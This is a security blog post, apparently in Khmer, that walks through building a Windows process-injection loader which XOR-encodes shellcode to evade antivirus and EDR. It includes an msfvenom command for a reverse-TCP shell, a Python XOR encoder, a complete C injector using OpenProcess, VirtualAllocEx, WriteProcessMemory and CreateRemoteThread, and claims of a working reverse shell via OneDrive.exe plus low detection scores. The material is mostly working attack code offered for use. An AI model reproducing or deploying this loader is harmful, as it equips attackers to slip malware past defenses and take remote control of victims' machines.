This page looks best with JavaScript enabled

Process Injection - Bypass AV/EDR with XOR - 0x01

 ·  β˜• 3 min read  ·  🐱 thik

Summary

αž“αŸ…αž€αŸ’αž“αž»αž„αž’αžαŸ’αžαž”αž‘αž“αŸαŸ‡αž™αžΎαž„αž“αžΉαž„αž’αŸ’αžœαžΎαž€αžΆαžšαž”αž„αŸ’αž€αžΎαž Shellcode αžαžΆαž˜αžšαž™αŸˆαžœαž·αž’αžΈαžŸαžΆαžŸαŸ’αžαŸ’αžš Process Injection αžŠαŸ„αž™αž—αŸ’αž‡αžΆαž”αŸ‹αž‡αžΆαž˜αž½αž™αž“αž·αž„αž€αžΆαžšαžŠαžΆαž€αŸ‹αž“αžΌαžœαž€αžΌαž“αžŸαŸ„αžš XOR αž€αŸ’αž“αž»αž„αž€αžΆαžšαž’αŸ’αžœαžΎαž€αžΌαžŠαž“αžΈαž™αž€αž˜αŸ’αž˜αžŠαžΎαž˜αŸ’αž”αžΈαž”αž‰αŸ’αž…αŸ€αžŸαž–αžΈαž€αžΆαžšαžšαž€αžƒαžΎαž‰αžšαž”αžŸαŸ‹αž€αž˜αŸ’αž˜αžœαž·αž’αžΈαž€αŸ†αž…αžΆαžαŸ‹αž˜αŸαžšαŸ„αž‚ αŸ”

Shellcode

αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αž‡αžΆαžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž”αž„αŸ’αž€αžΎαž Payload αžŠαŸ„αž™αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹ Shellcode αž‡αžΆαž—αžΆαžŸαžΆαžš C αž‚αŸ„αž›αžŠαŸ…αž“αŸ…αž›αžΎαž˜αŸ‰αžΆαžŸαŸŠαžΈαž“ 64 bit αŸ”

1
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.60.136 lport=4433 -f c

XOR Shellcode

αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž˜αž€αž™αžΎαž„αž“αžΉαž„αž’αŸ’αžœαžΎαž€αžΆαžš XOR αž‘αŸ…αž›αžΎαž€αžΌαžŠαž“αŸ„αŸ‡αžŠαŸ„αž™αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹ Python Script αžŠαžΌαž…αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αŸ–

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
raw_shellcode = "my shellcode \xaa\xda\xca\[...]\xbe\x14\x49"
enc_shellcode = []
print ("[+] Shellcode is encoding")
for opcode in raw_shellcode:
        enc_opcode = (ord(opcode) ^ 0x41)
        enc_shellcode.append(enc_opcode)

print ("========================Shellcode========================\n\n")
print ("".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in enc_shellcode]))
print ("\n\n========================Shellcode========================")

αž€αŸ’αžšαŸ„αž™αž–αžΈαž’αŸ’αžœαžΎαž€αžΌαžŠαž“αžΈαž™αž€αž˜αŸ’αž˜αžšαž½αž…αž˜αž€ αž™αžΎαž„αž“αžΉαž„αž‘αž‘αž½αž›αž”αžΆαž“αž€αžΌαžŠαžαŸ’αž˜αžΈαž˜αž½αž™αž•αŸ’αžŸαŸαž„αž‘αŸ€αž αž…αž˜αŸ’αž›αž„αžœαžΆαž‘αž»αž€αžŠαžΎαž˜αŸ’αž”αžΈαž’αŸ’αžœαžΎαž€αž·αž…αŸ’αž…αž€αžΆαžšαž”αž“αŸ’αž αŸ”

WINAPIs

αžαŸ’αž›αžΈαŸ—αž’αŸ†αž–αžΈαž€αžΆαžš Bypass αžŠαŸ„αž™αž”αŸ’αžšαžΎ WinAIPs

OpenProcess
1
2
3
4
5
HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

OpenProcess αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαž”αžΎαž€ Process αžŠαŸ„αž™αž•αŸ’αžŠαž›αŸ‹αžαž˜αŸ’αž›αŸƒαžαžΆαž˜αžšαž™αŸˆ PID αž“αŸƒ Process αžšαž”αžŸαŸ‹αžœαžΆ αŸ” αžŠαŸ„αž™αžŸαžΆαžšαžαŸ‚αž‚αŸ„αž›αž”αŸ†αžŽαž„αžšαž”αžŸαŸ‹ Process Injection αž‚αžΊαž‡αžΆαž€αžΆαžšαž”αž„αŸ’αž€αžΎαžαž“αžΌαžœαž…αž“αŸ’αž›αŸ„αŸ‡ Allocation αžαŸ’αž˜αžΈαž˜αž½αž™αžŸαž˜αŸ’αžšαžΆαž”αŸ‹ Shellcode αž“αŸ…αž€αŸ’αž“αž»αž„ Local Process αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž˜αž€αžœαžΆαž“αžΉαž„αž’αŸ’αžœαžΎαž€αžΆαžšαžŸαžšαžŸαŸαžšαž”αž‰αŸ’αž…αžΌαž›αž“αžΌαžœ Shellcode αž“αŸ„αŸ‡αž…αžΌαž›αž‘αŸ…αž€αŸ’αž“αž»αž„αž…αž“αŸ’αž›αŸ„αŸ‡ Allocation αžŠαŸ‚αž›αž”αžΆαž“αž”αž„αŸ’αž€αžΎαžαžšαž½αž…αž αžΎαž™αž‘αžΎαž”αž’αŸ’αžœαžΎαž€αžΆαžšαž”αžΎαž€αžŠαŸ†αžŽαžΎαžšαž€αžΆαžš αŸ” αžŠαžΌαž…αž“αŸαŸ‡αž˜αž»αž“αž“αžΉαž„αž™αžΎαž„αž’αŸ’αžœαžΎαž€αžΆαžšαž”αž„αŸ’αž€αžΎαž Allocation αžαŸ’αž˜αžΈαž˜αž½αž™αž…αžΌαž›αž‘αŸ…αž€αŸ’αž“αž»αž„ Memory αž™αžΎαž„αžαŸ’αžšαžΌαžœαžαŸ‚αž”αž„αŸ’αž€αžΎαž Process αžœαžΆαž‡αžΆαž˜αž»αž“ αŸ”

αž…αŸ†αžŽαžΆαŸ†αŸ– αž™αžΎαž„αžαŸ’αžšαžΌαžœαž’αŸ’αžœαžΎαž€αžΆαžšαž”αž·αž‘ Opened handle αžαžΆαž˜αžšαž™αŸˆ CloseHandle()

VirtualAllocEx
1
2
3
4
5
6
7
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

αž™αžΎαž„αž”αŸ’αžšαžΎ VirtualAllocEx αžŠαžΎαž˜αŸ’αž”αžΈαž’αŸ’αžœαžΎαž€αžΆαžš Allocate αž…αž“αŸ’αž›αŸ„αŸ‡αž“αŸƒ Memory αžŸαž˜αŸ’αžšαžΆαž”αŸ‹ Shellcode αžšαž”αžŸαŸ‹αž™αžΎαž„αž“αŸ…αž€αŸ’αž“αž»αž„ Process αž•αŸ’αžŸαŸαž„ αŸ” αžŠαŸ„αž™αž‘αŸ‚αž€αžŸαž˜αŸ’αžšαžΆαž”αŸ‹ VirtualAlloc αž™αžΎαž„αž’αžΆαž…αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžœαžΆαž…αŸ†αž–αŸ„αŸ‡αžαŸ‚αž…αž“αŸ’αž›αŸ„αŸ‡αž“αŸƒ Memory αž€αŸ’αž“αž»αž„ Process αž•αŸ’αž‘αžΆαž›αŸ‹αžαŸ’αž›αž½αž“αžšαž”αžŸαŸ‹αžœαžΆαž”αŸ‰αž»αžŽαŸ’αžŽαŸ„αŸ‡ (Current Process) αŸ”

WriteProcessMemory
1
2
3
4
5
6
7
BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

αž™αžΎαž„αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹ WriteProcessMemory αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž’αŸ’αžœαžΎαž€αžΆαžšαžŸαžšαžŸαŸαžšαž”αž‰αŸ’αž‡αžΌαž›αž“αžΌαžœ Shellcode αž…αžΌαž›αž‘αŸ…αž€αžΆαž“αŸ‹ Allocation αžαŸ’αž˜αžΈαž˜αž½αž™αžŠαŸ‚αž›αž”αžΆαž“αž˜αž€αž–αžΈαž€αžΆαžšαž”αž„αŸ’αž€αžΎαž Process αž•αŸ’αžŸαŸαž„αžαžΆαž˜αžšαž™αŸˆ VirtualAllocEx αžαžΆαž„αž›αžΎαŸ”

VirtualProtectEx
1
2
3
4
5
6
7
BOOL VirtualProtectEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

αž™αžΎαž„αž”αŸ’αžšαžΎ VirtualProtectEx αžŠαžΎαž˜αŸ’αž”αžΈαž’αŸ’αžœαžΎαž€αžΆαžšαž€αŸ‚αž”αŸ’αžšαŸ‚ Protection Permission αŸ”

CreateRemoteThread
1
2
3
4
5
6
7
8
9
HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

αž™αžΎαž„αž”αŸ’αžšαžΎ CreateRemoteThread αžŠαžΎαž˜αŸ’αž”αžΈαž”αž„αŸ’αž€αžΎαž Thread αžŠαŸ‚αž›αž”αžΆαž“αžŠαŸ†αžŽαžΎαžšαž“αŸ…αž€αŸ’αž“αž»αž„αž…αž“αŸ’αž›αŸ„αŸ‡ Virtual Address αž“αŸƒ Process αž•αŸ’αžŸαŸαž„αž‘αŸ€αž αŸ” αžŠαŸ„αž™αž‘αŸ‚αž€αžŸαž˜αŸ’αžšαžΆαž”αŸ‹ CreateThread αž™αžΎαž„αž’αžΆαž…αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžœαžΆαž…αŸ†αž–αŸ„αŸ‡αžαŸ‚αž€αžΆαžšαž”αž„αŸ’αž€αžΎαž Thread αž€αŸ’αž“αž»αž„ Process αž•αŸ’αž‘αžΆαž›αŸ‹αžαŸ’αž›αž½αž“αžšαž”αžŸαŸ‹αžœαžΆαž”αŸ‰αž»αžŽαŸ’αžŽαŸ„αŸ‡ (Current Process) αŸ”

PWN The Shellcode

αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αž“αŸαŸ‡αž‡αžΆαž€αžΆαžšαž”αž„αŸ’αž€αžΎαž Binary File αž€αŸ’αž“αž»αž„αž€αžΆαžšαž…αžΆαž€αŸ‹αž”αž‰αŸ’αž‡αžΌαž› Shellcode αž‘αŸ…αž€αŸ’αž“αž»αž„ Process αžŠαž‘αŸƒαž‘αŸ€αž αž αžΎαž™αž˜αžΆαž“αž›αž‘αŸ’αž’αž—αžΆαž–αž€αŸ’αž“αž»αž„αž€αžΆαžš Bypass αž€αž˜αŸ’αž˜αžœαž·αž’αžΈαž€αŸ†αž…αžΆαžαŸ‹αž˜αŸαžšαŸ„αž‚αž’αŸ†αŸ—αž˜αž½αž™αž…αŸ†αž“αž½αž“αž•αž„αžŠαŸ‚αžš αŸ”

αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αž‡αžΆαž€αžΆαžšαž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹ opcode αžŠαžΎαž˜αŸ’αž”αžΈ Decode αž‘αŸ…αž›αžΎ Shellcode opcode αŸ”

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] = "\x98\xaa\xda\xca\[...]\xbe\x14\x49";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    DWORD oldPerms;
    DWORD PID = 16772; //Change it to target PID
    printf("Injecting to PID: %i", PID);
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READ);

    int i;
    int n = 0;
    for (i = 0; i <= sizeof(shellcode); i++) {
        char dec_opcode = shellcode[i] ^ 0x41;
        if (WriteProcessMemory(processHandle, (char*)remoteBuffer + n, &dec_opcode, 1, NULL)) {
            n++;

        }
    }
    VirtualProtectEx(processHandle, (LPVOID)sizeof(processHandle), sizeof(shellcode), PAGE_READONLY, &oldPerms);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

Raw Code Explain

αž“αŸ…αž€αŸ’αž“αž»αž„ For Loop Function αž™αžΎαž„αž”αžΆαž“αž’αŸ’αžœαžΎαž€αžΆαžš Decoded Shellcode αž‡αžΆαž˜αž½αž™αž“αž·αž„αž€αžΆαžšαžŸαžšαžŸαŸαžšαž”αž‰αŸ’αž‡αžΌαž› opcode αž…αžΌαž›αž‘αŸ…αž€αŸ’αž“αž»αž„ Memory αž—αŸ’αž›αžΆαž˜αŸ— αŸ”

αžαžŸαŸ‹αž…αžΆαž”αŸ‹αž•αŸ’αžŠαžΎαž˜ Compile αž“αž·αž„αžŸαžΆαž€αž›αŸ’αž”αž„αžŠαŸ†αžŽαžΎαžšαž€αžΆαžš αŸ”

Process Injection
C2 Reverse Shell

αž€αžΆαžšαž…αžΆαž€αŸ‹αž”αž‰αŸ’αž‡αžΌαž›αž‘αž‘αž½αž›αž”αžΆαž“αž‡αŸ„αž‚αž‡αŸαž™ αžŠαŸ„αž™αž’αŸ’αžœαžΎαž€αžΆαžšαž…αžΆαž€αŸ‹αž”αž‰αŸ’αž‡αžΌαž›αž€αŸ’αž“αž»αž„ Process αžšαž”αžŸαŸ‹αž€αž˜αŸ’αž˜αžœαž·αž’αžΈ OneDrive.exe αžŠαŸ‚αž›αž˜αžΆαž“αž›αŸαž PID 408 αŸ”

Scan Result

αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αž‡αžΆαž›αž‘αŸ’αž’αž•αž›αž’αŸ’αžœαžΎαžαŸαžŸαŸ’αžαž“αŸ…αž€αŸ’αž“αž»αž„αž€αžΆαžšαžŸαŸ’αž€αŸαž“αž›αžΎαž€αž˜αŸ’αž˜αžœαž·αž’αžΈαž€αŸ†αž…αžΆαžαŸ‹αž˜αŸαžšαŸ„αž‚αž›αŸ’αž”αžΈαŸ— αŸ”

AV Scan Results

αžαŸ†αžŽαžšαž—αŸ’αž‡αžΆαž”αŸ‹αŸ– ANTISCAN.ME

Share on

Thik
WRITTEN BY
thik
Security Researcher